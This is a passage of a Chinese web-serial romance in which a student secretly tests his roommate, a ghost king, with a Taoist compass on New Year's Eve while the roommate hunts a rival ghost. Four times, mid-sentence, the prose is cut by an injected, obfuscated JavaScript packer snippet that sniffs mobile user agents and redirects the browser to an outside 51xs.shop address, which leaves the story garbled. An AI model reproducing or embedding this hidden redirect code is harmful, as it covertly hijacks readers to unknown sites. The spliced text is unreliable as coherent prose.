“没,没什么。”溪白笑了笑。 唔。 顾弛,好像真的很在意呢。 两人吃晚饭回到宿舍,溪白准备去洗衣服的时候,突然想起一个事。 “顾弛。” 本坐在那张巨大的靠背椅上正翻看课本的顾弛,闻言立刻放下书起身。 “怎么了?” 溪白把他按了回去,“没什么。” 他站在靠背椅旁,顾弛抬头看着他。 两人的距离很近,近得可以看清楚对方脸上一丝一毫的表情牵动,和眼底的神色变化。 溪白保持着这个动作,再次开口。 “庄算他哥是个很厉害的天师。” “他来我们学校,是来抓鬼的。” 那双清澈如旧的眼睛,在听完这句话后,只是缓慢地眨动了一下。 “原来是这样。”顾弛说。 溪白嗯了一声,“没什么,就是……解释一下。” 解释一下,让顾弛不要误会了什么。 顺便,也是看一下顾弛的反应。 如果是鬼的话,在听到有个很厉害的天师在附近,多少也会有些紧张,有些担心。 甚至还会追问对方的去向,以此避免碰面。 溪白拿着衣服往外走到一半,被顾弛的声音追上。 “溪白。” 溪白一挑眉,回头。 “这几天,你晚上的时候少出去吧。”顾弛说。 溪白没想到他居然说的是这个,表情流露出几分意外。 顾弛:“你刚刚不是说,那个男的是来抓鬼的吗。” “我担心你晚上出去,会遇到危险。”他声音很轻,但很真诚地说。 溪白点头一笑:“好,我知道了。” 言罢,他推开阳台门进了浴室。 顾弛望着消失在阳台门后的背影,随着浴室的水声渐渐传来,他的目光也像是滑坡一般,从温柔变得森冷。 “无厢去过北城大学的南图书馆,带人去看看,能不能找到什么线索。” 元神传讯再度没入地底。 做完这一切,顾弛起身。 他推门出去的那一刻,耳旁的水流声立刻变得清晰起来,其中隐约还能听到一阵似有若无的轻轻哼歌声。 顾弛听不出那是什么调子,但却很有效地让他心情轻松了许多。 一路,脚步无声,他几乎是飘着到了阳台的围栏边缘。 看着夜空之下一团一团连结如同幕布的乌云,原本如琉璃一般净澈的瞳孔里,逐渐闪烁出几分凶戾的猩红暗光。 今天,他远远感受到了无厢的气息冲着溪白去了,便立刻赶往南图书馆。 却不想慢了一步。 或许是巧合,但顾弛不敢放松一丝警惕。 无厢,你最好不要对溪白有什么念头。 顾弛微微眯起眼。 否则,他必将那家伙碎尸万段。 顾弛又静静感受了一会夜晚。 他转身想要回屋的时候,视线突然在浴室的门板上凝滞了一下。 听着哗哗的水声,他的脑海里浮现出一片雪白细腻。 溪白睡觉偶尔不安分,会牵动起睡衣的下摆。 像是恩赐一般偶尔流露出的风景,让顾弛过目难忘。 顾弛抬起手。 一道夹杂着红色脉络的金光符咒印,在掌心之中缓缓浮现。 如果将此符印留在他人身上,受印者一旦遇到危险,符印能充当一次保护,而且会让施印者即刻感受到具体的方位。 要不要找个机会,在溪白的身上留个印呢? 顾弛想着,脑海里的羊脂白玉,逐渐变成了金镶玉的模样。 金色的符文深深地嵌入肌肤,像是一只张牙舞爪的大手,牢牢地钳住了溪白的腰肢。 喉结重重滚动了一下。 顾弛觉得,他好像又有些难受得需要溪白的帮助了。 …… [神算子:听说跨年夜要下雪!] 冬至过后,很快就是跨年。 这一年的雪来得似乎格外晚一点,许是刮个不停的冬风想要把晴天挽留得久一些。 元旦放一天假,不少没课的学生都提前拎着大包小包回家去了。 体育学院的那帮大直男们老早就开始约着跨年去包个网吧通宵五排、吃鸡之类的了。 “诶,叫上弛哥呗。”不知道谁提了一句。 男生之间增进感情速度最快的就是打游戏,顾弛也来了小半年了,虽然随着时间,他和班里的同学们也渐渐熟稔了起来,但俗话说得好:没有一起被对面团灭过的不是好兄弟。 另一个男生投了个2分球,闻言接了一句:“不过弛哥好像不会打游戏吧。” “来两把不就会了,大不了我带飞。” “切,就你,不乱开团送五杀就不错了。” “嘿什么意思你小子!” 说话的众人打闹了一阵后,转头找了一圈。 “诶徐骁。”穿着6号球服的男生走到场地边拍了拍正拿着手机打字的徐骁,“弛哥去打游戏吗?” “不去吧,听说他有约了。”徐骁随口应了一句。 “哦,行吧。”6号男生也没强求,“那你的设备还是3080ti是吧,我给你的一块儿定上了?” “不用,我也有。”徐骁又说。 “我草骁哥你谈恋爱了?”6号男生立刻咋咋呼呼起来,“和谁啊,是不是文学院那个天天来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493628|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看你打球给你送水的小甜心?” 徐骁瞄他一眼,“别乱叫。” “嘿嘿,我懂我懂。”6号男生笑嘻嘻地凑上去想要偷看一眼徐骁的屏幕,却发现对方的脸色突然沉了下来。 伸出的手停在半空,他呃了一声。 见徐骁表情不对,那男生咻一下转身跑了。 徐骁看着屏幕上的消息,表情里除了不爽,更多的是疑惑。 聊天难得是由他挑起的。 [八块腹肌大帅哥:跨年你什么安排?] [神算子:跨年夜的安排呀?] [神算子:我和溪宝有约啦] [神算子:你没人一起跨年嘛,我听你同学说要去网吧通宵,你要不和他们打打游戏?] 徐骁捏着手机半天,不知道该怎么回复。 最后,他选中聊天记录合并转发给了顾弛。 [八块腹肌大帅哥:【八块腹肌大帅哥和神算子的聊天记录】] [八块腹肌大帅哥:弛哥,争气点啊!] 宿舍里,溪白从阳台洗完脸进门的时候,看到的就是自己那身高腿长的室友一脸没表情地支着一条腿,坐在床尾的场景。 顾弛看了手机一眼,眼尾向阳台扫过去。 “溪白。” 溪白后背突然绷紧。 虽然顾弛的坐姿可能有两分耍帅的嫌疑。 但刚刚那一眼,真是把他帅到了。 “啊,怎么了。”他应了一声,连续眨了几下眼。 “跨年夜,还是像我们之前约好的,只有我们两个人一起吃饭吧?” 毫无征兆地被问了这样一个问题,本就藏了心思的溪白,免不了心中一慌。 顾弛不会知道什么了吧? 他的确是邀请顾弛跨年夜一起去吃饭来着。 但除了吃饭,溪白还有另一个目的:趁着这个机会,让庄算用自己的罗盘再测试一下顾弛。 刚刚顾弛话里似乎是刻意确认了一句“只有两个人”,听着明显意有所指,溪白不可能不慌。 但他没有别的选择,只能咬死了不承认道:“是啊,我们两个。” 为了显得更加自然一些,溪白又补充了一句:“你想邀请什么朋友过来吗,我没问题的。” “不。”顾弛立刻道,“我不想。” 他低下头准备打字,但指尖刚触碰到屏幕,又重新抬起头。 “我只想和你一起。” 溪白脸蛋和心口同时一热。 顾弛的话说得那么直接,又那么坦诚,像他对待自己一贯的态度一样。 而自己却偏偏抱着猜疑,不停地想要去试探对方。上次说庄术是很厉害的天师来学校抓鬼也是,这次假借吃饭名义实则用罗盘测试也是…… 心口涌出歉意,酸涩地胀满了心。 溪白心说,只要这次罗盘测试没有问题,他就再也不怀疑顾弛了。 只要确定了……他就,好好地,去努力追顾弛。 溪白抿了抿唇,心里这般告诉自己。 而另一边的徐骁捧着手机,脑袋上一片刚长出来的新鲜问号,不敢置信地又确认了一遍顾弛发的消息,甚至点进头像看了一眼主页。 [顾:他骗你的] 谁? 谁骗谁?! 徐骁:???? 拜托大哥,我聊天记录都在这里了! 很快,球场上体育学院的球队队员们,都听到了从场外传来的一声充满无语和震惊的大叫。 “我真是草了!” 这一刻,徐骁彻底明白过来。 顾弛TMD原来是个恋爱脑啊! 33.第 33 章 跨年夜那天,溪白先是出了个门见庄算。 “罗盘你拿着。” 庄算把自己祖传的罗盘塞到溪白手里,溪白紧张地捧着。 “我拿着?” 他能行吗,他也不会什么法术啊。 “嗯,今天晚上吃完饭后,你和顾弛说想散散步。” 庄算开始和溪白说自己的计划。 罗盘虽然可以指向阴物,但并不是拿着就能检测出来那么容易,尤其是根据庄术分析的,溪白说顾弛有体温有呼吸,外表看着也与人类无二,如果是鬼必然修为极深。 所以,庄算也需要“借势”。 北城大学宿舍区那片有一片可以爬的山,春夏晚上7点多太阳没下山的时候,常有人在那散步消食,大家都觉得那片山坡走起来很舒服。 而据庄术上次来北城大学的观测来说,那山就是北城大学的“脉”,也是风水的核心所在。 庄算的力量太小,凭他一个人无法给罗盘施加很强大的力量。 所以这次,他要借的是“山灵之势”。 “你吃完饭后就说有些饱想去那片山走走,我会在山内布下法阵,你只用拿着罗盘然后接近顾弛,趁他不注意,把这个符纸烧掉就行。” 庄算说着,又给溪白塞了一张朱砂写的纸符。 借势自然也是需要摆阵的,庄算手艺不精,不能随意借到山灵之势,只能找个隐蔽的地方打坐布阵。 所以罗盘的操作,就只能看溪白了。 溪白点了点头,表示自己明白了。 “快回去吧,要到你们吃饭的时间了。”庄算看了一眼表,说。 溪白回到宿舍的时候,桌面上多了一只纸袋子。 顾弛从阳台门后探出头。 “这是给我的吗?”溪白拿过袋子打开往里看了一眼,是一件卫衣。 顾弛点了点头,“新年礼物。” 人类在跨年的时候,总是喜欢相互送礼物表达心意的——谢必安是这么和他说的。 溪白把衣服拿出来,发现是他最喜欢的毛绒大狗的联名款。 前段时间他在网上刷到过联动宣传来着,但一直没时间去店里看。 衣服上有一股熟悉的松木洗衣液味,应该是洗过了。溪白捏着衣领看了一眼尺码,心说顾弛还挺会买,怎么知道他平时就穿这个码数的。 顾弛进了浴室不知道在干什么,房间里没人,溪白就直接把卫衣套上了。 当他脑袋费劲巴拉地从领口里钻出来的时候,透过被静电贴在额前的几缕碎发,他看见顾弛已经回来了。 身上还穿着和他同款的衣服。 唯一不同的是,顾弛胸口的印花是微笑大狗,而溪白胸口的是睡觉大狗。 情侣装三个字直接冲进大脑。 溪白愣愣地站在原地,顾弛已经走到了他的面前。 虽然是同款,但两人衣服的尺寸可能差了两三个号。 顾弛伸手弄了一下溪白贴在额前的头发,目光却看的是溪白的腰。 “店员介绍的尺码好像刚刚好。” 他边说,边用两只手虚握着比划了一下。 溪白:…… 他好像猜到顾弛是怎么买到他尺码衣服的了。 溪白睡觉不安分,有的时候背对着顾弛睡着,醒来的时候脸已经埋进胸肌里了。 偶尔有扭来扭去的时候,顾弛就会用手按住他的腰侧,这样溪白就会乖下来。 溪白自己不知道,还是顾弛告诉他的。 第一次听说自己这个毛病的时候,两人其实还没有那么熟,溪白当场闹了个大红脸,跟顾弛不停地道歉。 顾弛当时只是摸了摸鼻子,说没事。 而现在。 溪白脑海里满是顾弛伸着两只手和店员比划,嘴里说什么“他的腰大概这么细”之类的话,让店员给他选衣服尺码的样子。 这家伙是真做得出来。 “你给我和自己买的同款啊。”溪白咬了咬下唇,说。 顾弛嗯了一声,“这个好看。” 所以只是好看。 是自己又想多了吗? 溪白噢了一声,掏手机。 “我叫车了?” “不用。”顾弛按住他的手,“我开了车。” “你会开车?”溪白一愣。 顾弛没说话。 实话说,也是刚学会的。 因为不知道该怎么解释,或者说该解释什么,所以他只能直勾勾地看着溪白。 但不知道是不是他本身的长相太有气场,以至于垂眸不语看着溪白的时候,显得有些像被质疑后的无语凝噎。 咳,是觉得自己把他看扁了吗? 溪白笑嘻嘻打圆场,把人往外推,“走了走了。” 他回过神来才发现,自己的手此时已经抓上了顾弛的胳膊。 哪怕隔着几件衣服,依旧能通过指腹按压感受到最里层的,充满力量感的坚实肌肉。 刚刚完全是下意识的动作。 溪白本能地抬头去看,而顾弛则先他一步收回了目光。 摸了摸鼻子,顾弛嗯了一声道:“走吧。” 而溪白看他像是没察觉到自己的动作似的,于是抱着点小心思又偷偷牵了一会儿,才放开了。 顾弛去停车场开车了,溪白把卫衣的连帽戴上,掏出手机给庄算发消息。 [White:顾弛居然买车了,我还以为他不会开车] 他看顾弛平日里一副和社会脱节的样子,没想到居然会开车。 之前他怀疑顾弛是否是人的其中一个原因,也是因为对方好像对现代的很多东西并不是非常了解,溪白还曾觉得顾弛像是个在与世隔绝的桃花源里养大的富家公子。 庄算的关注点倒是另外一个。 [神算子:什么牌子的?] 溪白对车不了解,但他回忆了一下刚刚顾弛拿钥匙的时候。 [White:好像是两个翅膀,有点扁扁的] 很快庄算发了个四五个车标过来。 [神算子:哪个?] 溪白选了其中一个回复。 庄算:…… 阿斯顿马丁的限量款。 顾弛的车开了过来,溪白坐上副驾驶。 他手里还拿着手机,刚一坐稳,低头就: [神算子:你要是嫁入豪门别忘了兄弟] 旁边一道视线传来,溪白整个人直接应激。 他转过头对上顾弛的视线,动作有些僵硬。 顾弛看着他。 “安全带。” 溪白噢了一声,松口气。 系好安全带,他再一低头。 [神算子:富婆抱抱我] 溪白闭眼。 等他冷静了一下再睁眼时,庄算已经开始念咒了。 [神算子:保佑今晚顾弛测出来不是鬼保佑我溪宝嫁入富贵豪门当顾太太……] 溪白:………… [神算子:我去布阵了,加油!] [White:赶紧吧你!] 想了想,庄算也是为了他才在大跨年夜的吹着冷风去布阵。 于是心软的溪白又补了一句。 [White:记得吃饭,保暖] [神算子:我的饭不重要] [神算子:你和顾弛的饭才是最香的!] 溪白:…… 你还是饿着吧! 顾弛一边开车,一边偶尔用余光看一眼溪白。 身材清瘦的少年坐在自己的身边,埋头看着放在大腿上的手机。 不知道刷到了什么,溪白的嘴角偶尔无语地抽动一下,偶尔又会耳尖发红,带着点害羞地笑。 表情变化,丰富而生动。 顾弛腾开一只手,摸了摸自己胸口上那只微笑大狗。 真可爱。 ※ 因为考虑到庄算还在那边等着,这顿晚饭溪白吃得很快。 以至于他着急起身想要和顾弛说赶紧回学校吧的时候,对方面前的盘子里还剩下不少没吃完的食物。 溪白又坐下了。 “溪白,你怎么了。”顾弛放下手里的筷子,抽了张纸巾擦了擦嘴角,“有什么急事吗?” 溪白:“没!没有的事!” 他拿起手边的筷子,给顾弛夹了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518828|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块鸡肉,“这块嫩,你吃这块。” 顾弛嗯了一声,夹起溪白给他夹的肉,认真地吃了起来。 溪白有些担心庄算那边的情况,抽空发了条消息。 [White:你那边进度如何?] 庄算估计在忙,挺久没回复。 溪白托着下巴百无聊赖地看着窗外的风景,放在桌面上的手指轻轻敲动,带得手边那杯水的水面上都泛起阵阵涟漪。 目光往前一扫,顿住。 端起玻璃杯喝了一口。 溪白突然发现,与其空着急,不如欣赏一会儿顾弛的吃相。 虽然是大型犬,但顾弛吃饭并不粗鲁,反而有种与他体育生的身份完全不匹配的斯文。 还是像溪白说的,感觉顾弛是个养在世外桃源里长大的贵公子。 捏着银筷的手指修长,指甲修剪得十分整齐,加上那张垂着眸子安静吃饭时显得格外贵气的脸,指尖一曲一伸,都如画一般充满艺术感。 [神算子:还没那么快,你们就要回来了?] 溪白拿起手机敲字。 [White:没,不急] 看了一眼仍在慢条斯理吃饭的顾弛,他又发了一条消息。 [White:可以再慢点] 另一边的庄算:? “我需要吃快一些么?” 顾弛突然抬起头,溪白刚刚心思在手机上,抬起头的那一刻,毫无防备地就撞进了对方的眼睛里。 “啊不,不用。” 也许是餐厅里的灯光偏暗,那双往日里无比清澈干净的眼睛,在此刻显出了一种罕见的深邃,让人一眼不可见底。 溪白被看得莫名心虚,将手机反扣回了桌面上,又目光漂浮地找补了一句。 “反正,今晚也就我们两个待在一起过……” 说完他才意识到,这或许可以解读为很暧昧的一句话。 但顾弛或许没听明白。 他没有什么特别的,类似脸红羞涩的反应,只愣了一下,而后弯起双眼,朝溪白露出了一个大大的笑容,两颗尖尖的虎牙都露了出来。 “嗯,今晚只有我们两个一起跨年。” 笑容干净得让人很难不心动。 但那总能被解读成“只是好朋友”的态度也让人很难不心塞。 一顿跨年饭,吃到了近晚上十二点。 跨年夜的很多店面不打烊,这个时代的年轻人似乎也更偏向和同龄的友人们一起倒数送走留下太多遗憾或者回忆的过去一年。 也许是饭菜里碳水比较多,又或许是屋里暖气太足。 出门的溪白迎着风打了个哈欠,伸懒腰举起的手背上,落下一丝冰凉。 雨? 溪白下意识地收回手想要看一眼手背,但目光最先锁定的,是身旁的顾弛。 他正抬一只手,掌心里,接住了一片飘落的雪花。 下雪了。 顾弛顿住了脚步,望着掌心。 体温很快将霜晶花瓣一般的雪花融化,变成了一滴清润的水珠。 雪大的很快,数息之间从稀疏的雪花变做漫天的鹅毛,缀满了顾弛纤长的眼睫。 白霜掩映着黑瞳,顾弛站在逐渐覆盖堆积起来的雪地里,身形颀长,目移神游,恰好成了一幅让人不忍打搅的画。 溪白就这么站在旁边,静静地看着他。 连自己睫毛上渐渐盛起的簌簌落雪,都未曾察觉。 不知过了多久,顾弛的眸光轻轻闪动了一下。 他转过头看溪白,对方也正看着自己。 清瘦的少年似乎是望得出神了,彼此之间的视线几乎是默契地在一瞬间对上,此刻似有千言万语,但在呼之欲出的时候,又被藏在了眼眸之后。 顾弛看遍了很多个春秋,也曾走过了无数个冬夏。 但从来皆是寥寥一人,在岁月之中踽踽独行。 但今年似乎不一样了。 于是,在这个深冬以初雪送走旧岁的跨年夜,顾弛很认真,甚至有些虔诚地想要和身旁的人说一句。 “新年快乐,溪白。” 也希望来日的岁岁年年,我还在你身边。 34.第 34 章 午夜,格外静谧。 校门口保安室的灯光将路照得微亮,两个身影在路上慢慢走着。 “溪白?” 顾弛已经是第三次放慢自己的步调和减小步幅了,但溪白还是落在了后头。 按平时的速度来说,溪白不至于跟不上。 想到这,顾弛立刻上前,伸手想要将人扶住。 “你是不是不舒服?” 溪白怔愣了一瞬,而后终于魂归躯壳了一般。 “哦!我,我没事。”他挤出一个笑容,加快了脚步越过顾弛,边走边回头,“就是刚刚吃得有些饱,现在没事了。” “那走慢一点吧。”顾弛认真地叮嘱,“我听说吃饱了走太快容易胃不舒服。” 溪白点头,“嗯,我知道了。” 身影让背后远处照来的灯光拖得长长的,溪白盯着面前光影交错的地面,无声轻叹。 刚刚的慌乱和谎言,拙劣得溪白自己都不信。 但顾弛愣是连怀疑的意思都没有。 又想起今晚吃饭时两人的交谈,以及一直以来,顾弛对他展现出的那种毫无保留的信任。 溪白抿了抿唇角泛开的一丝酸涩。 他其实很纠结。 到底要不要试一下呢? 他既害怕顾弛不是人,不试的话心里总有一根刺。 但也矛盾如果试了,会不会有一种平白辜负了顾弛对自己的一片坦诚和信任的感觉。 最后还是庄算的消息让溪白下定了决心。 [神算子:溪宝,我搞定了,快带顾弛过来] 情况变成了箭在弦上,不得不发,溪白再纠结,也不可能和庄算说“算了我们不试了吧”。 “顾弛。” “嗯,我在。” 溪白垂在身侧的手指攥紧,他甚至做不到转头去正面面对顾弛那双即使在夜里也十分清澈,把内里的坦诚和信任毫无保留地暴露出来的眼睛。 轻轻笑了笑,努力让自己的声音听起来正常且轻松,溪白抬手揉了揉自己的肚子。 “我们去山坡那片散散步吧,我好像真的吃得有点多了。” 溪白走在前面,脑海里依旧是乱作一团理不清的思绪,他很担心一会儿罗盘测试的结果。 如果顾弛不是的话当然最好,但万一被对方发现了,自己该如何解释? 但万一是呢? 万一是的话,彼此之间又该如何相处? 把顾弛请出去,他会配合吗? 还是自己搬走? 无穷无尽的问题像是发生了连锁反应的雪花片,接连不断地冲进溪白的脑子里。 以至于一声“溪白”从身后传来时,他下意识地绷起了背脊。 顾弛发现了? 但溪白最终只是被顾弛拉着往后退了两步。 高大的男生眼里带着关切,低头看着他。 “不是肚子撑吗,不要走太快了。” 溪白这才发现,自己刚刚不知不觉间脚步加得太快了。 刚刚慢吞吞,现在一路往前冲,连溪白自己都觉得自己暴露心思暴露得太明显了。 不过顾弛似乎并没有多问的意思。 “前面就到入口了。”他看了一眼那边隆起的山坡和树林,“你想在那边走吗,其实散步的话,校道上会更加舒服安全些。” 溪白何尝不知道。 但他怎么可能和顾弛解释说我是为了套路你,试你的身份。 所以,他只能说:“我想进里面看看,听说最近花圃的梅花开了不少。” 那片假山,其实也类似于学校的花圃,不同季节开不同的花,农学院学生的作业也种在里面。 “好,那你走慢些。” 顾弛没有再多问,溪白也悄悄松了口气。 他神经太过紧绷,因而也忽视了身旁高大的男生在问完他后,已经在不知不觉之间走到了他身前半个身位的事情。 顾弛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545939|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光收回再度投向远处时,目光转瞬沉下,闪过一丝杀气。 蹙着眉头扫视了一圈四周,却并没有发现什么。 他抿了抿唇,不动声色地往溪白身旁站得更近了一点。 ※ [神算子:到水池边,法阵核心在那里,你只用把我给你的符纸贴在罗盘上,观察罗盘指针的变化就好] [神算子:指针遇到鬼会发出红光,指着鬼所在的方向,针尖会颤抖] 阅读了一遍庄算发来的文字说明,溪白将手机揣进兜里的同时,手背碰到了那泛着微微凉意的罗盘。 符纸已经叠好放在了袖口,方便随时取出来。 溪白看着面前几步距离的背影,开口将人叫住。 “梅花林好像在池塘那边。” 他指了指阴影里的一块指路牌,牌子的尖端,指着一条通向林间深处的石板路。 顾弛顺着溪白手指的方向看了过去,但脚步却没动弹。 “……怎么了?” 溪白又一次有些心虚起来,不会是顾弛感觉到那边庄算布置了阵法吧? “没。”顾弛说了一声。 他声线与往日略有不同,更加低沉一些。 “溪白。” “……唔?” “你离我,近一点吧。” 顾弛的目光紧锁着石板路延伸向前最终没入的阴影之中,却听见身后片刻传来一句。 “你害怕呀?” 害怕? 顾弛回过头,看到的是一双在黑暗里睁得圆溜溜的眼睛。 那双眼睛里带着点笑意,但更多的是好奇,溪白盯着他看,脑袋往右边略略偏了一些——就像顾弛自己平常经常做的那个动作一样。 于是到了嘴边的话就变了一下。 “太晚了,路有些黑。” 那就是害怕了。 溪白暗自确定了心中猜想,忍着笑意,轻轻嗯了一声,“那我们靠近点吧。” 35.第 35 章 说起来大数据推送也够离谱的,溪白就是前两天和庄算在微信上聊了顾弛几句,字里行间提了几次“大型犬”什么的。 后来软件上就自动给他推送什么大型犬、宠物之类的视频了。 他前两天被推了一只威风凛凛的大狗其实是个胆小鬼的视频,好奇点进去看了看。 内容印象不深,但莫名的,和现在的氛围有些像。 顾弛背对着溪白,双瞳里各自浮现出一道竖直的红光,目光扫视了林中一圈,缓缓又恢复了原本的模样。 没有发现。 “走吗?”他稍放松了些,问溪白。 溪白的角度什么也看不到,还以为顾弛刚刚不说话是在害羞,但见自己也没反应,现在多少可能有了点羞愤的意味。 于是他赶忙收起笑意,从善如流地道:“嗯,走吧。” 沿着石板路一直向前,溪白走到某一块的时候,莫名地感觉到了一股微凉拂过耳尖。 但四周依旧很平静,干枯的枝杈也并未摇晃,可见其实并没有风过。 空气似乎多了一种类似水流的质感,五感莫名变得通透了些许,溪白意识到,他们应该是走进了庄算布置好的阵里。 但顾弛的脚步依旧平稳,似乎并无察觉。 溪白赶紧跟上。 他的手三番几次伸进了口袋里,都没找到拿出罗盘的时机。 直到近了那片湖边。 “结冰了。”顾弛看了一眼,转头对溪白说。 湖水清澈,被寒冷的冬季冻住了表面,湖面之上夜色开阔,一轮皎月挂在天际,在湖水冻成的坚冰上撒下一圈银光。 “这附近还蛮高的。”溪白略有些喘,观察了一圈四周。 “看到了,梅花!”溪白往旁一指。 湖边不远处有一片人工围起来的篱笆,里面是学校培育的梅花品种。 常见的红梅白梅都不少,还有罕见的白中染红的洒金梅。 但不知道为什么,溪白注意到有一排梅花的很多花瓣都落掉了。 说是像风吹的却又不像,因为四周其他的花团都还好好的,只有这一排,脱落的花瓣洒了满地,往一侧堆积。 就好像有一道很窄的风吹过,把这一排花都吹败了似的。 溪白抬头忘了一眼那排花所在方向的远处,看到花圃外有一块突出的岩石。 那岩石宽阔平坦,就是从山顶的边缘延伸了出去,不少学生把那儿当成一处观景台,据说是可以看到整个学校的风景。 脚步声从身后传来,溪白转头,顾弛已经走到了他身旁。 “这片山占地不小。”顾弛点评了一句。 平日里经过的时候,还觉得肉眼看着范围不大来着。 溪白点了点头。 两人靠得这么近,溪白更没有把罗盘拿出来,再把纸符烧掉的机会了。 于是,他道:“顾弛,可以帮我收集一下这些掉落的梅花吗?” 他记得庄算说过想采集点梅花花瓣做朱砂墨,可以带上些香气,还有些别的什么效果。 顾弛并没有问原因,只点了点头。 “那你收集那边,我收集这边?”溪白划分了一下花圃的半场。 总得拉开点距离,他才好悄悄做事。 顾弛点头,“行。” 两人各自忙碌起来,溪白一边把形态良好的花瓣捡起,扫干净尘土放进口袋里,一边观察那边顾弛的动向。 高大的男生蹲在地上,也依旧很大一只,宽肩窄腰的身材因为这个动作而更加明显。 溪白抿了抿唇,觉得今晚吃的有些咸了,早知道离店前多喝两杯茶水。 一边用余光持续注视着那头,溪白一边悄悄地拿出了藏在衣服内袋里的,庄算的罗盘。 袖口里的符纸也被抽出展开,贴在罗盘上的时候,火苗自动从符纸的最下方升起。 溪白赶紧用身体去当火光,同时去看顾弛的动静。 顾弛虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545940|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像没有注意到他这边的变化,但不知为什么却突然站了起来。 溪白觉得这符纸的火都要烧到他眉毛了,他调整了一下角度,将火光藏在身·下,冲着那随符纸焚化而渐渐镀上一层淡金色的罗盘指针,心中无声地催促着。 快点啊,快点啊! 而另一边。 顾弛猛地站了起来,眉心蹙起到了前所未有的深度。 是无厢的气息。 很近。 顾弛垂在身侧的手握起,但临近捏紧时感受到掌心中的柔软,又顿住。 他低头看了一眼,将收集好的花瓣放进了衣服的口袋中,回头望去时,溪白似乎还蹲在地上专心致志地采集着。 无厢的事情,必须尽快解决。 不论是为了地府的秩序,还是因为对方出现在了这片土地,可能会给……溪白,带来威胁。 顾弛想到这,闭上了眼睛。 一道金光灿灿的元神自眉心飞掠而出,金光在半空中旋转一圈停顿下时,依稀可以在光圈之中辨认出一个缩小版的顾弛的模样。 他看了一眼后边的溪白。 速战速决吧,顾弛转身飞掠而出。 而留在原地的躯壳重新蹲下,开始继续搜集地面上散落的梅花花瓣。 但只要靠近看上一眼,就会发现他的眼神里没有了光泽,而手上的动作也只是如机械一般地伸出、收回操作着。 另一边,符纸燃烧殆尽,指针变为纯金的颜色。 溪白心跳一直在不停地加速,直到这一刻。 一股血色红光,从金光消失的方向,反向地蔓延开来。 伴随着溪白拉升到顶点的心跳,针尖开始明显地颤抖。 随即,一直指着南方的指针猛地一个掉转。 溪白下意识地抱着罗盘站起转身。 通体变为血红色的指针,稳稳当当地指着顾弛所在的方向,不停地颤抖着。 浑身的血液一下就凉透了。 36.第 36 章 顾弛飞速穿梭在树林之间。 他的速度很快,快到连树木的影子都快要连成了片,身影自树丛之间穿过,带起猎猎的劲风,折断几根脆弱的枯枝。 但很快,顾弛就停了下来。 这片林子有这么大吗? 或许对人类来说,这片假山树林不算小,但他刚刚前进了这么久,可眼前的路,还是看不到树木的尽头。 除非…… 双目闭阖,感知铺开,再度睁眼的那一瞬间,顾弛抬手一挥。 金光撕裂了虚假的夜色,露出藏于其后的真实。 他还是在假山树林里,但一抬头就能从稀疏的树层之间看到校道上的路灯光影。 顾弛观察了一圈四周地面上被劲风刮过的痕迹,意识到刚刚的自己,应该在原地打转了很久。 脸色陡然冷了下来。 他的目光锁定在一棵格外粗壮的树干后,片刻,一道掌声带着笑音从树后响起,伴随着走出来的一个人。 “许久不见,鬼王大人的感知还是如此敏锐啊。” 顾弛面上寒霜未减,他盯着那个皮肤青灰,双瞳赤红的身影,冷冷开口。 “无厢。” 末了,他又蹙了蹙眉。 “你不是本体?” “哦!我当然不是!” “我怎么会愚蠢到让自己的本体出现在这里!” 无厢,或者说无厢的分·身笑出了声,他看着顾弛上下打量了一圈。 “不过,我倒是很惊讶,我们的鬼王大人居然会在这样一个地方。” 他生着冷白指甲的手轻轻抚摸着身旁的树,带着点感叹的语气开口。 “十年树木,百年树人,这地方应当培养了不少人。” 赤红的眼瞳看向不远处站立着的顾弛,无厢一笑。 “却不想还能培养出一个,让我们鬼王大人动凡心的家伙。” “我真是对他很感兴趣呢。”无厢弯起眼睛一笑。 